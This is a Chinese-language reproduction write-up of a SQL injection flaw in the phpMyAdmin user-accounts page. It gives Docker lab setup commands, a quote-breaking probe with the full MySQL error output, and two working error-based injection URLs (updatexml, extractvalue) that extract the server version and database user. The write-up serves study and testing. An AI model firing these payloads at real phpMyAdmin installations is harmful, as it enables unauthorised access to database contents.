一、漏洞详情
1、简介
phpMyAdmin是phpMyAdmin团队的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库，创建、删除、修改数据库表，执行SQL脚本命令等。 phpMyAdmin4.9.4之前的4版本和5.0.1之前的5版本中的用户帐户页面存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。
2、影响版本
Phpmyadmin <= 5.00
Phpmyadmin <= 4.94二、环境搭建
环境搭建
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
docker run --name myadmin -d --link mysql5.6:db -p 881:80 phpmyadmin/phpmyadmin:5.0.0http://172.16.20.223:881/server_privileges.php?ajax_request=true&validate_username=true&username=test'"返回结果：
success false
error "<div class=\"error\"><h1>错误</h1><p><strong>静态分析：</strong></p><p>分析时发现1个错误。</p><p><ol><li>应有结束引号 \"。 (near \"\" at position 53)</li></ol></p><p><strong>SQL 查询：</strong> <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\">复制</a>\n<a href=\"./url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes/dot.gif\" title=\"文档\" alt=\"文档\" class=\"icon ic_b_help\"></a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&show_query=1\"><span class=\"nowrap\"><img src=\"themes/dot.gif\" title=\"编辑\" alt=\"编辑\" class=\"icon ic_b_edit\"> 编辑</span></a> </p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n</p>\n<p>\n <strong>MySQL 返回： </strong><a href=\"./url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes/dot.gif\" title=\"文档\" alt=\"文档\" class=\"icon ic_b_help\"></a>\n</p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1</code><br></div>"
http://172.16.20.223:881/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
http://172.16.20.223:881/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=6d5b772632752b22343f692e40797b72&viewing_mode=server